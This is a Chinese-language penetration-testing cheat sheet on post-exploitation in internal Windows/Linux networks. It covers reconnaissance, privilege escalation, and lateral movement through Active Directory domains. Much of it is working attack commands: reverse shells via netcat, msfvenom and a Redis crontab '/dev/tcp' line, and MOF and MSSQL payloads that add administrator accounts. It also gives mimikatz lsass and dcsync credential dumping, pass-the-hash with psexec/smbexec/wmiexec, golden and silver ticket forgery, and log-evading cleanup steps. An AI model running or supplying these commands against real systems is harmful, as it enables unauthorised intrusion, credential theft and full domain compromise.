内网渗透思路总结

0x01.内网环境

1.内网概述

内网环境是一种网络环境,域环境是一种管理环境 ,二者是相互独立的,域环境可以不是内网环境, 内网环境也可以不是域环境 , 两者是有明显区分的 , 只不过常见的windows内网环境中会带有域管理环境 , 但是严格来讲内网渗透就是域渗透是错误的。

内网渗透又叫做后渗透,区别于前渗透的WEB渗透,内网渗透是指从获取WEB服务器的shell之后到拿下内网全部主机的过程叫做内网渗透。

2.DMZ区

DMZ区是隔离区或非军事化区,是内网和外网间的缓冲区,用于放置一些必须公开的服务器,如web服务器。在保护了内部网络的同时,解决了安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题。

3.工作组

工作组(Work Group)是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。在工作组中所有的计算机都是平等的,没有管理与被管理之分,因此工作组网络也称为对等网络。

4.域

域(Domain)是一个有安全边界的计算机集合(安全边界的意思是,在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单地把域理解成升级版的工作组,与工作组相比,域的安全管理控制机制更加严格。用户要想访问域内的资源,必须以合法的身份登录域,而用户对域内的资源拥有什么样的权限,还取决于用户在域内的身份。

域控制器DC:

域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。

成员服务器​:

安装了服务器操作系统并加入了域,但没有安装活动目录的计算机,主要任务是提供网络资源

客户机​:

安装了其他操作系统的计算机,利用这些计算机和域中的账户就可以登录到域。

独立服务器​:

和域无关,既不加入域,也没有活动目录

0x02.内网信息收集

1.基本信息收集

了解当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备

systeminfo 详细信息
net start 启动服务
tasklist 进程列表
schtasks 计划任务

2.网络信息收集

了解当前服务器的网络接口信息,为判断当前角色,功能,网络架构做准备

ipconfig /all 判断存在域-dns
net view /domain 判断存在域
net time /domain 判断主域
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址

3.用户信息收集

了解当前计算机或域环境下的用户及用户组信息,便于后期利用凭据进行测试

whoami /all 用户权限
net config workstation 登录信息
net user 本地用户
net localgroup 本地用户组
net user /domain 获取域用户信息
net group /domain 获取域用户组信息
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器

4.凭据信息收集

收集各种密文,明文,口令等,为后续横向渗透做好测试准备

计算机用户 HASH,明文获取-mimikatz(win),mimipenguin(linux)

计算机各种协议服务口令获取-LaZagne(all),XenArmor(win)

1.站点源码备份文件、数据库备份文件等

2.各类数据库 Web 管理入口,如 PHPMyAdmin

3.浏览器保存密码、浏览器 Cookies

4.其他用户会话、3389 和 ipc$连接记录、回收站内容

5.Windows 保存的 WIFI 密码

6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA 等

0x03.权限提升

1.Windows权限提升

(1)系统溢出漏洞提权

前提:已经获得计算机的普通用户权限

运行漏洞EXP将当前的用户权限为System

提权原因:有些工具需要足够的权限才能运行,高权限可以获得更多信息,利于内网渗透

CVE-2020-0787 BitsArbitraryFileMoveExploit

CVE-2020-0787-EXP-ALL-WINDOWS-VERSION:

https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION

(2)AT&SC&PS命令提权

前提:已经获得计算机的平台用户权限,比较老的计算机系统,win7之前的系统,以win2003为例

打开CMD添加一项计划任务,在12:00打开一个cmd窗口,时间可以自由设置,发现打开的窗口是system权限

低版本windows可以利用下面指令提权:

AT命令:

at 12:00 /interactive cmd.exe

适用于win7以下老版本

SC命令:

创建一个名叫“syscmd”的服务,运行它

​​sc Create syscmd binPath= "cmd /K start" type= own type= interact

sc start syscmd

(3)烂土豆配合令牌窃取提权

烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户
适用版本:Windows 7、8、10、2008、2012

提权原理
上传potato.exe到目标机器,执行后会欺骗system账户通过NTLM认证到我们控制的TCP终端。通过NTLM重放来为当前本地协商一个“NT AUTHORITY\SYSTEM”的安全令牌。从而配合令牌窃取。本来令牌窃取需要有可模仿的令牌,而烂土豆很好的解决了这一问题。

过程:上传烂土豆-执行烂土豆-利用窃取模块-窃取 SYSTEM-成功

https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe

upload /root/potato.exe C:\Users\Public

1.生成shell上传到目标主机

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.150 LPORT=4433 -f exe -o 4433.exe

2.开启msf

use /multi/handler
set rhost 127.0.0.1(本机ip)
set rport	4433(本机端口)
set payload windows/meterpreter_reverse_tcp

3.加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)

use incognito
execute -cH -f c:/potato.exe

4.列出目标机器用户的可用令牌,并使用system权限

list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

5.查看权限

getuid

(4)Win2012-DLL 劫持提权

Win2012-DLL 劫持提权应用配合 MSF-Web 权限

原理:Windows 程序启动的时候需要 DLL。如果这些 DLL 不存在,则可以通过在应用程序要查找的

位置放置恶意 DLL 来提权。通常,Windows 应用程序有其预定义好的搜索 DLL 的路径,它会根据下

面的顺序进行搜索:

应用程序加载的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录 Current Working Directory,CWD
在 PATH 环境变量的目录(先系统后用户)

过程:信息收集-进程调试-制作 dll 并上传-替换 dll-启动应用后成功

msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.169.46 lport=6677 -f dll >/opt/muma.dll

2.Linux权限提升

(1)Linux信息收集工具提权

在获取到Linux主机的普通shell权限后,我们可以手动收集目标主机的相关信息,但是手工使用起来效率不高,推荐两款信息收集与漏洞探针的自动化脚本:
信息收集:LinEnum.sh,可以利用找SUID文件,用于suid提权

漏洞探针:linux-exploit-suggster2

可以看到当前可能的存在的漏洞,CVE-2022-0847

下载expgit clone https://github.com/imfiver/CVE-2022-0847.git,执行看到提权成功

(2)Linux SUID提权

suid权限就是使用具有suid的文件时候,将可以以赋予suid权限命令的用户一样的权限去运行这个文件,好比如root给a文件赋予suid,当我们以普通权限下user去运行a也将以root权限运行该文件。

手工赋予suid权限:chmod u+s xxx
手工删除suid权限:suid u-s xxx
手工搜寻本机suid的命令:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

suid提权就是使用具有suid的命令去执行其他命令,因为具有suid的命令具备root权限,从而实现突破普通权限,获取root权限去执行命令,一些常见的可以使用的suid命令提权:

nmap
vim
less
more
nano
cp
mv
find

例如-find提权:

cd /tmp        
touch 1
find 1 -exec whoami \;
反弹root权限shell
find 1 -exec netcat -lvp 5555 -e /bin/sh \;
netcat xx.xx.xx.xx 5555

(3)Linux 提权脏牛内核漏洞

提权思路:
获取IP-扫描端口获取web-爆破cms获取shell-上传脏牛检测脚本-检测疑似存在漏洞-上传脏牛exp-提权成功

脏牛exp:https://github.com/gbonacini/CVE-2016-5195
脏牛检测脚本:https://github.com/aishee/scan-dirtycow/blob/master/dirtycowscan.sh

3.数据库权限提升

(1)MySQL-UDF提权

原理:通过root权限,导入udf.dll到系统目录下,可以通过udf.dll调用执行cmd

利用条件

知道mysql用户名和密码,并且可以远程登录mysql有写入文件的权限,即secure_file_priv的值为空。

1.查看mysql有写入文件的权限

show global variables like '%secure%';

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
2.上传UDF 的动态链接库文件

Mysql版本大于5.1:udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)。

Mysql版本小于5.1:
如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导到 C:\Winnt\udf.dll 下。
如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。

show variables like 'plugin%';查看plugin路径

udf.dll在sqlmap里面对应的目录地址为\sqlmap\data\udf\mysql,这里进入目录后可以看到sqlmap已经帮我们分好类了。分为windows和linux,点进去之后还会有32和64位之分。

C:\Users\admin\AppData\Local\Programs\Python\Python39\sqlmap\data\udf\mysql\windows

通过如下命令将dll文件写入到plugin中

select hex(load_file('C:\Users\xzc\Desktopl\lib_mysqludf_sys.dll')) into dumpfile 'C:\Users\test\Desktop\phpStudy\MySQL\lib\plugin\udf.dll';‍```
#这里windows下目录结构要进行转义双写

3.创建自定义函数

上传之后,使用如下命令创建自定义函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

然后使用命令查看是否新增了sys_eval​函数

select * from mysql.func;

4.执行系统命令

到这里创建成功那么就可以执行系统命令

select sys_eval('whoami')

(2)MySQL-MOF提权

简介

   mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

条件

mysql有读写 C:/Windows/system32/wbem/mof 的权限

secure-file-priv参数不为null

提权过程

使用msf自带mof模块提权

use exploit/windows/mysql/mysql_mof
设置payload
set payload windows/meterpreter/reverse_tcp
设置目标 MySQL 的基础信息
set rhosts 192.168.127.132
set username root
set password root
run

mof脚本内容:

#pragma namespace("\\\\.\\root\\subscription") 
 
instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 
 
instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 
 
instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
};

其中核心payload为:

var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")

手动写入提权

将上述mof脚本制作test.mof写入mof目录下,使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件:

select load_file('D:/test.mof')into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof";

痕迹清理

每隔几分钟会重新执行添加用户的命令,所以想清理痕迹得先暂时关闭 winmgmt 服务再删除mof 文件,此时删除用户才有效果。

# 停止 winmgmt 服务
net stop winmgmt
 
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
 
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
 
# 删除创建的用户
net user hacker /delete
 
# 重新启动服务
net start winmgmt

(3)MsSQL-xp_cmdshell提权

xp_cmdshell是数据库中可以执行系统命令的组件,可以通过此组件执行系统命令来提权

利用条件:必须获取SA用户的密码(SA用户具有最高权限)

默认在sqlserver2000中开启,2005后默认禁止,使用sp_configure重新打开它

开启xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

关闭xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

使用XP_CmdShell执行系统命令

EXEC master.dbo.xp_cmdshell '命令'
#添加用户hack,密码123
exec master..xp_cmdshell 'net user hack 123 /add'
#将hack用户添加到管理员组中   
exec master..xp_cmdshell 'net localgroup administrators hack add'   

(4)MsSQL-sp_oacreate提权

sp_oacreate用来调用OLE对象,如果xp_cmdshell组件被删除也可以利用OLE对象的run方法执行系统命令,主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。

启用:

EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE;

关闭:

EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 0;
RECONFIGURE WITH OVERRIDE;

执行命令:

#添加用户hack,密码123
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user hack 123 /add'
#将hack用户添加到管理员组中
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators hack
/add'
#whoami 带回显 保存到c盘 1.txt中
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c whoami > c:\\1.txt'

(4)MsSQL-沙盒提权

通过沙盒执行命令

开启:
exec sp_configure 'show advanced options’,1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries’,1;reconfigure;
关闭:
exec sp_configure 'show advanced option,1;RECONFIGURE;
exec sp configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;
#添加用户hack
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user hack 123 /add")')
#添加hack到管理员组
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,‘select shell(“net localgroup administrators hack /add”)’)

(5)Oracle-提权

oracle数据库一般配合jsp建站,jsp网站后门不需要提权,自带system权限

三种方式
1.普通用户模式:
拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令

2.DBA用户模式:(自动化工具)
sqlmap --is-dba 测试是否是dba权限
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试

3.注入提升模式:(sqlmap)
拥有一个oracle注入点,可以通过注入点执行系统命令,此种模式没有实现回显,需要自己验证。

(6)Redis未授权-提权

1.利用计划任务执行命令反弹shell

在redis以root权限运行时可以写crontab来执行命令反弹shell,

先在自己的服务器上监听一个端口

nc -lvnp xxxx

然后执行命令

root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK
192.168.63.130:6379> config set dir /var/spool/cron/
OK
192.168.63.130:6379> config set dbfilename root
OK
192.168.63.130:6379> save
OK

2.写ssh-keygen公钥然后使用私钥登陆

在以下条件下,可以利用此方法

Redis服务使用ROOT账号启动

服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

首先在本地生成一对密钥:

root@kali:~/.ssh# ssh-keygen -t rsa

然后redis执行命令:

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK

save后可以直接利用公钥登录ssh

3.往web物理路径写webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell

执行以下命令

192.168.63.130:6379> config set dir /var/www/html/
OK
192.168.63.130:6379> config set dbfilename shell.php
OK
192.168.63.130:6379> set x "<?php phpinfo();?>"
OK
192.168.63.130:6379> save
OK

访问shell.php,蚁剑连接

0x04.内网横向

1.内网存活主机探测

nmap命令大全:
nmap -sT 192.168.96.4  //TCP连接扫描,不安全,慢
nmap -sS 192.168.96.4  //SYN扫描,使用最频繁,安全,快
nmap -Pn 192.168.96.4  //目标机禁用ping,绕过ping扫描
nmap -sA 192.168.96.4  //检测哪些端口被屏蔽
nmap 192.168.96.1/24 //对整个网段的主机进行扫描
nmap -T1~6 192.168.96.4  //设置扫描速度,一般T4足够
nmap -sV 192.168.96.4  //对端口上的服务程序版本进行扫描
nmap -O 192.168.96.4  //对目标主机的操作系统进行扫描
nmap -sP 192.168.96.4  //仅仅对目标进行ping检测
nmap -sS -sV -p 1-65535 -T4 -O -A -v -Pn 172.20.10.1  //推荐常用命令

2.横向扫描C段漏洞打点

使用fscan.exe命令如下:
fscan.exe -h 192.168.1.1/24  (默认使用全部模块)
fscan.exe -h 192.168.1.1/16  (B段扫描)
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/8  (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt  (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080

3.域横向批量at&schtasks计划任务打内网主机

   在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?  

使用 at&schtasks ,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典->尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或
者相关命令。

[at] & [schtasks]

at < Windows2012
net use \192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 连接
copy add.bat \192.168.3.21\c$ #拷贝执行文件到目标机器
at \192.168.3.21 15:47 c:\add.bat #添加计划任务

schtasks >=Windows2012

net use \192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 连接
copy add.bat \192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建 adduser 任务对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务

横向渗透明文 HASH 传递 atexec-impacket

atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"

4.域横向PTH

psexec,smbexec,wmiexec三种PTH打法

第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
net use \192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \192.168.3.32 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行
第二种:不用建立 IPC 直接提供明文账户密码
psexec \192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :HASH ./administrator@10.1.2.3
psexec -hashes :HASH domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方 Pstools 无法


采用 hash 连接 非官方自带-参考 impacket 工具包使用,操作简单,容易被杀
smbexec 无需先 ipc 链接 明文或 hash 传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21


域横向移动 WMI 服务利用-cscript,wmiexec,wmic
WMI是通过 135 端口进行利用,支持用户名明文或者 hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
自带 WMIC 明文传递 无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c
ipconfig >C:\1.txt"
自带 cscript 明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本
wmiexec ./administrator:admin!@ 45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

PSexec实操

抓取hash:

Procdump+Mimikatz 配合获取#procdump 配合 mimikatz
procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz 上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

域横向移动 SMB 服务利用-psexec,smbexec(官方自带)
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。

   PsExec是Windows官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可 以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个PsExec服务,并在本地磁盘中生成一个名为 PSEXESVC的二进制文件,然后通过PsExec服务运行命令,运行结束后删除服务,但是会产生日志文件。

   SMB可以直接基于TCP协议或者NetBIOS over TCP,SMB的认证可以基于SMB,也可以基于kerberos,这两种认证方式,前者本质上使用了hash,后者本质上使用了ticket,导致了SMB的PTH和PTT攻击存在的基础,前提是目标开启了445端口,开放445端口就相当于开放了smb协议

建立 ipc$连接

net use \\192.168.10.8\ipc$ Qwer1234 /user:administrator
或
net use \\192.168.10.8 /u:only.net\administrator Qwer1234

在已经建立 ipc$ 的情况下,执行以下命令就可以获得 system 权限

使用明文密码

PsExec64.exe -accepteula  \\192.168.10.8 -u only\administrator -p Qwer1234 -s cmd

-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
-u 域\用户名
-p 密码
-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell

#直接执行命令
PsExec64.exe -accepteula  \\192.168.10.8 -u Administrator -p Qwer1234 -s cmd /c "whoami"

使用hash登录,PTH

PsExec64.exe -hashes 91ff0fb948167eb4d080b5330686c02f .\administrator@192.168.10.8

如果出现上面的错误,可以使用impacket​这个工具包下的psexec进行利用

使用PsExec时注意

  1. 需要远程系统开启 admin$ 共享(默认是开启的)
  2. 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
  3. 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
  4. 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务, 命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生 大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
  5. 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是 administrator 权限的 shell
  6. 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能, 只能依靠账号和密码进行传递。

使用MSF hash模块psexec

use exploit/windows/smb/psexec

#默认的payload有问题,无法加载自带的模块
set payload windows/shell/reverse_tcp
set SMBUser Administrator
set rhosts 192.168.10.8
set smbpass aad3b435b51404eeaad3b435b51404ee:91ff0fb948167eb4d080b5330686c02f

5.域横向PTT黄金票据&白银票据

(1)黄金票据

  黄金票据是伪造票据授予票据(TGT),也被称为认证票据。如下图所示,与域控制器没有AS-REQ或AS-REP通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。

黄金票据的条件要求:
1.域名称[AD PowerShell模块:(Get-ADDomain).DNSRoot]
2.域的SID 值[AD PowerShell模块:(Get-ADDomain).DomainSID.Value]
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名

1.获取Windows域名

systeminfo
net time /domain

2.获取域的sid

whoami /user

3.获取krbtgt用户hash

运行mimikatz.exe
privilegeg::debug       #开启特权模式
lsadump::lsa /patch     #获取krbtgt用户hash,域的sid
lsadump::lsa /patch /user:krbtgt

4.制作黄金票据

kerberos::golden /admin:administrator /domain:ajie.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi

在攻击机通过mimikatz制作黄金票据,执行命令后会生成一个AD.kiribi文件

5.利用票据

通过kerberos::purge清空票据缓存;kerberos::list列出票据显示为空,说明清空了所以票据

通过kerberos::ptt administrator.kiribi加载生成的票据

dir \dc.cyber.com\c$成功拿下主机

实操一下:

获取krbtgt的NTLM Hash

登录域管用户,执行whoami可以看到是administrator

以管理员权限运行mimikatz.exe,通过dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值

#查看域only.net内指定用户krbtgt的详细信息,包括NTLM哈希等
mimikatz.exe "lsadump::dcsync /domain:only.net /user:krbtgt" "exit" > hash.txt

#获取所有域用户
mimikatz.exe "lsadump::dcsync /domain:only.net /all /csv" "exit" > hash.txt

得到krbtgt的NTLM Hash为:

9df19b467ce5c093b5d57b02abba9c04

获取基本信息

获取域SID

wmic useraccount get name,sid

将用户SID去掉 末尾-​后的值即域的SID

制作黄金票据

清空票据

kerberos::purge

生成票据

利用 mimikatz 生成域管权限的 Golden Ticket,填入对应的域管理员账号、域名称、sid值,如下:

mimikatz.exe "kerberos::golden /admin:system /domain:only.net /sid:S-1-5-21-1996699216-944335111-2869993460 /krbtgt:9df19b467ce5c093b5d57b02abba9c04 /ticket:ticket.kirbi" exit
/admin:伪造的用户名
/domain:域名称
/sid:SID 值,注意是去掉末尾 '-' 后面的值
/krbtgt:krbtgt 的 HASH 值
/ticket:生成的票据名称 //不是写入内存中的命令

使用黄金票据

登录域内普通用户,通过mimikatz将ticket.kirbi导入内存中

导入票据前的权限

导入票据

mimikatz.exe "kerberos::purge" "kerberos::ptt C:\Users\test\desktop\ticket.kirbi" "exit"

注入内存后可以看到访问 域控 dc成功

(2)白银票据

黄金票据是伪造票据授予票据(TGT),而白银票据是伪造的服务票据(ST)

在Kerberos 认证的第三阶段,Client 带着ST 和身份验证器消息(Authenticator) 向 某个服务进行请求

Server接收到Client的请求之后,通过自己的 密钥解密ST,从而获取 Session Key。通过Session Key解密

身份验证器消息(Authenticator),进而成功与Client互相验证对方的身份。之后Client就可以访问该服务

所以我们只需要知道某个服务账户的 Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的银票只对访问部分服务有权限。

白银票据与黄金票据的区别:

  1. 白银票据不经过 KDC,因此白银票据日志相对于黄金票据会更少,同时白银票据的日志都在目标服务器上,域控上不会有日志
  2. 白银票据利用服务账户的哈希值,不同于黄金票据利用 krbtgt 账户的哈希值,因此白银票据更加隐蔽,但白银票据的权限就远不如黄金票据的权限了

伪造 CIFS服务

​ CIFS 服务常用于 Windows 主机之间的文件共享,由于计算机本身托管此服务,因此创建白银票据所需的密码数据是关联的计算机帐户的密码哈希值。当计算机加入Active Directory时,会创建一个新的计算机帐户对象并将其添加到计算机中。密码和相关的散列哈希存储在拥有该帐户的计算机上,并且将NTLM密码散列存储在域的域控制器上的Active Directory数据库中。如果攻击者可以获得对计算机的管理权限或者能够以本地系统的身份运行代码,则攻击者可以使用Mimikatz从系统中转储AD计算机帐户密码哈希

利用条件

域名

域的SID值

目标服务器的 FQDN 即完整的域名

可利用的服务

服务账户的 NTLM 哈希

伪造的用户名即任意用户名

获取域控服务账号的NTLM Hash

​ 管理员权限运行 mimikatz

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

服务账号的 NTLM Hash(Primary Username:DC$​) 是带$的hash,不是域控管理员的

a7a1bf6a305d814fa49c2e3520e2c059

获取域的SID值

同一域下所有用户SID相同

清空本地票据缓存

kerberos::purge #清理本地票据缓存
kerberos::list #查看本地保存的票据

或命令行执行

klist
klist purge

伪造白银票据并导入

kerberos::golden /domain:域名 /sid:SID /target:域全称 /service:要访问的服务  /rc4:NTLM  /user:username /ptt

1. /domain:域名
2. /sid:SID值
3. /target: 域控制器全称
4. /service: 需要指定相关的服务名,此处为cifs
5. /rc4: 域控的计算机账户ntlm hash
6. /user: 要伪造的用户名,任意填写
7. /ptt - 作为/ ticket的替代品,使用它来立即将伪造的票据插入到内存中以供使用。



mimikatz.exe "kerberos::golden /domain:only.com /sid:S-1-5-21-4120419142-1040489911-488431493 /target:dc.only.com /rc4:a7a1bf6a305d814fa49c2e3520e2c059 /service:cifs /user:sing1e /ptt" exit

